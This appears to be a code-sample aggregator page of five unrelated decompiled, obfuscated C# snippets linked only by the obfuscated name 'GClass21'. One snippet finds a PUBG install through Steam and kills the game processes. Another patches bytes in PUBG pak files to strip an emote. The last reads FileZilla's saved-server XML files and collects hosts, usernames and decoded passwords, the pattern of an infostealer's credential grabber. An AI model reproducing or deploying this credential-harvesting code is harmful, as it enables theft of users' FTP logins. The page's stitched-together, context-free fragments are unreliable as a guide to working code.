Esempio n. 1
0
 public VMState()
 {
     InternalState1 = MainModule.GetOrCreateInternalState1();
     Memory1        = MainModule.GetOrCreateVMMemory();
     memory2        = MainModule.GetOrCreateMemory2();
     object_4       = MainModule.smethod_164();
 }
Esempio n. 2
0
    // Token: 0x060007CA RID: 1994 RVA: 0x0104FE70 File Offset: 0x0104E070
    public static bool smethod_0()
    {
        if (MessageBox.Show("Would you like to perform automatic directory search?\nSteam only.", "Game directory", MessageBoxButtons.YesNo, MessageBoxIcon.Asterisk) != DialogResult.Yes)
        {
            return(false);
        }
        Process.Start("steam://run/578080");
        Thread.Sleep(500);
        Process process;

        for (process = null; process == null; process = Process.GetProcessesByName("TslGame_BE").FirstOrDefault <Process>())
        {
            Thread.Sleep(100);
        }
        string text = process.smethod_0(1024);

        GClass21.smethod_1("Taskkill /IM TslGame.exe /F");
        GClass21.smethod_1("Taskkill /IM TslGame_BE.exe /F");
        if (text.Length > 47)
        {
            string text2 = text.Substring(0, text.Length - 43);
            if (text2.Substring(text2.Length - 4) == "PUBG")
            {
                text2 = text.Substring(0, text.Length - 47);
            }
            Settings.Default.GamePath = text2;
            Settings.Default.Save();
            bool result;
            if (!(result = (Directory.Exists(Settings.Default.GamePath + "\\PUBG\\TslGame\\Content\\Paks\\") ? true : false)))
            {
                result = Directory.Exists(Settings.Default.GamePath + "\\PUBG2\\TslGame\\Content\\Paks\\");
            }
            return(result);
        }
        UI.MsgBox.Show("Could not find game directory!", "", MessageBoxIcon.Hand);
        return(false);
    }
Esempio n. 3
0
 // Token: 0x06000527 RID: 1319 RVA: 0x0001D318 File Offset: 0x0001B518
 private void method_4(object sender, DoWorkEventArgs e)
 {
     if (PhoneItForm.smethod_22(Class11.MySettings_0.PakPath, "1", false) == 0)
     {
         PhoneItForm.smethod_23("Please Choose your Pak Folder in the Settings Tab!", MsgBoxStyle.Critical, "System");
     }
     else
     {
         try
         {
             PhoneItForm.smethod_24(Class11.MySettings_0.PakPath, "pakchunk0-WindowsClient.pak");
             string string_ = PhoneItForm.smethod_24(Class11.MySettings_0.PakPath, "pakchunk0_s1-WindowsClient.pak");
             Stream stream_ = PhoneItForm.smethod_25(string_);
             try
             {
                 foreach (long long_ in GClass21.smethod_0(stream_, 0, 50000000L, GClass13.byte_1))
                 {
                     PhoneItForm.smethod_26(stream_);
                     BinaryWriter binaryWriter_ = PhoneItForm.smethod_28(PhoneItForm.smethod_27(string_, FileMode.Open, FileAccess.ReadWrite));
                     PhoneItForm.smethod_30(PhoneItForm.smethod_29(binaryWriter_), long_, SeekOrigin.Begin);
                     PhoneItForm.smethod_31(binaryWriter_, GClass13.byte_0);
                     PhoneItForm.smethod_32(binaryWriter_);
                     PhoneItForm.smethod_34(this.FlatTextBox1, PhoneItForm.smethod_24(PhoneItForm.smethod_33(this.FlatTextBox1), "\r\nEMOTE REMOVED! (01/02)"));
                 }
             }
             finally
             {
                 List <long> .Enumerator enumerator;
                 ((IDisposable)enumerator).Dispose();
             }
             Stream stream_2 = PhoneItForm.smethod_25(string_);
             try
             {
                 foreach (long long_2 in GClass21.smethod_0(stream_2, 0, 50000000L, GClass13.byte_3))
                 {
                     PhoneItForm.smethod_26(stream_2);
                     BinaryWriter binaryWriter_2 = PhoneItForm.smethod_28(PhoneItForm.smethod_27(string_, FileMode.Open, FileAccess.ReadWrite));
                     PhoneItForm.smethod_30(PhoneItForm.smethod_29(binaryWriter_2), long_2, SeekOrigin.Begin);
                     PhoneItForm.smethod_31(binaryWriter_2, GClass13.byte_2);
                     PhoneItForm.smethod_32(binaryWriter_2);
                     PhoneItForm.smethod_34(this.FlatTextBox1, PhoneItForm.smethod_24(PhoneItForm.smethod_33(this.FlatTextBox1), "\r\nEMOTE REMOVED! (02/02)"));
                 }
             }
             finally
             {
                 List <long> .Enumerator enumerator2;
                 ((IDisposable)enumerator2).Dispose();
             }
             Class11.MySettings_0.PhoneItEnabled = "False";
             PhoneItForm.smethod_35(Class11.MySettings_0);
             PhoneItForm.smethod_20(this.FlatButton1, true);
             PhoneItForm.smethod_20(this.FlatButton2, false);
             PhoneItForm.smethod_23("Done!", MsgBoxStyle.OkOnly, null);
         }
         catch (Exception exception_)
         {
             PhoneItForm.smethod_36(exception_);
             PhoneItForm.smethod_34(this.FlatTextBox1, PhoneItForm.smethod_24(PhoneItForm.smethod_33(this.FlatTextBox1), "ERROR!"));
             PhoneItForm.smethod_37();
         }
     }
 }
Esempio n. 4
0
 // Token: 0x06002803 RID: 10243 RVA: 0x0001100F File Offset: 0x0000F20F
 public GClass21(GClass21 gclass21_0) : base(gclass21_0.uint_0)
 {
     this.uint_0   = gclass21_0.uint_0;
     this.string_0 = gclass21_0.string_0;
 }
Esempio n. 5
0
    // Token: 0x060001D2 RID: 466 RVA: 0x0000C25C File Offset: 0x0000A45C
    public static List <GClass32> smethod_0()
    {
        List <GClass32> list = new List <GClass32>();
        List <GClass32> result;

        try
        {
            if (!File.Exists(GClass21.string_0) && !File.Exists(GClass21.string_1))
            {
                result = list;
            }
            else
            {
                if (File.Exists(GClass21.string_0))
                {
                    XmlTextReader reader      = new XmlTextReader(GClass21.string_0);
                    XmlDocument   xmlDocument = new XmlDocument();
                    xmlDocument.Load(reader);
                    foreach (object obj in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes)
                    {
                        XmlNode xmlNode  = (XmlNode)obj;
                        string  text     = string.Empty;
                        string  username = string.Empty;
                        string  password = string.Empty;
                        foreach (object obj2 in xmlNode.ChildNodes)
                        {
                            XmlNode xmlNode2 = (XmlNode)obj2;
                            if (xmlNode2.Name == "Host")
                            {
                                text = xmlNode2.InnerText;
                            }
                            if (xmlNode2.Name == "Port")
                            {
                                text = text + ":" + xmlNode2.InnerText;
                            }
                            if (xmlNode2.Name == "User")
                            {
                                username = xmlNode2.InnerText;
                            }
                            if (xmlNode2.Name == "Pass")
                            {
                                password = xmlNode2.InnerText;
                            }
                        }
                        list.Add(new GClass32
                        {
                            URL         = text,
                            Username    = username,
                            Password    = password,
                            Application = "FileZilla"
                        });
                    }
                }
                if (File.Exists(GClass21.string_1))
                {
                    XmlTextReader reader2      = new XmlTextReader(GClass21.string_1);
                    XmlDocument   xmlDocument2 = new XmlDocument();
                    xmlDocument2.Load(reader2);
                    foreach (object obj3 in xmlDocument2.DocumentElement.ChildNodes[0].ChildNodes)
                    {
                        XmlNode xmlNode3  = (XmlNode)obj3;
                        string  text2     = string.Empty;
                        string  username2 = string.Empty;
                        string  password2 = string.Empty;
                        foreach (object obj4 in xmlNode3.ChildNodes)
                        {
                            XmlNode xmlNode4 = (XmlNode)obj4;
                            if (xmlNode4.Name == "Host")
                            {
                                text2 = xmlNode4.InnerText;
                            }
                            if (xmlNode4.Name == "Port")
                            {
                                text2 = text2 + ":" + xmlNode4.InnerText;
                            }
                            if (xmlNode4.Name == "User")
                            {
                                username2 = xmlNode4.InnerText;
                            }
                            if (xmlNode4.Name == "Pass")
                            {
                                password2 = GClass21.smethod_1(xmlNode4.InnerText);
                            }
                        }
                        list.Add(new GClass32
                        {
                            URL         = text2,
                            Username    = username2,
                            Password    = password2,
                            Application = "FileZilla"
                        });
                    }
                }
                result = list;
            }
        }
        catch
        {
            result = list;
        }
        return(result);
    }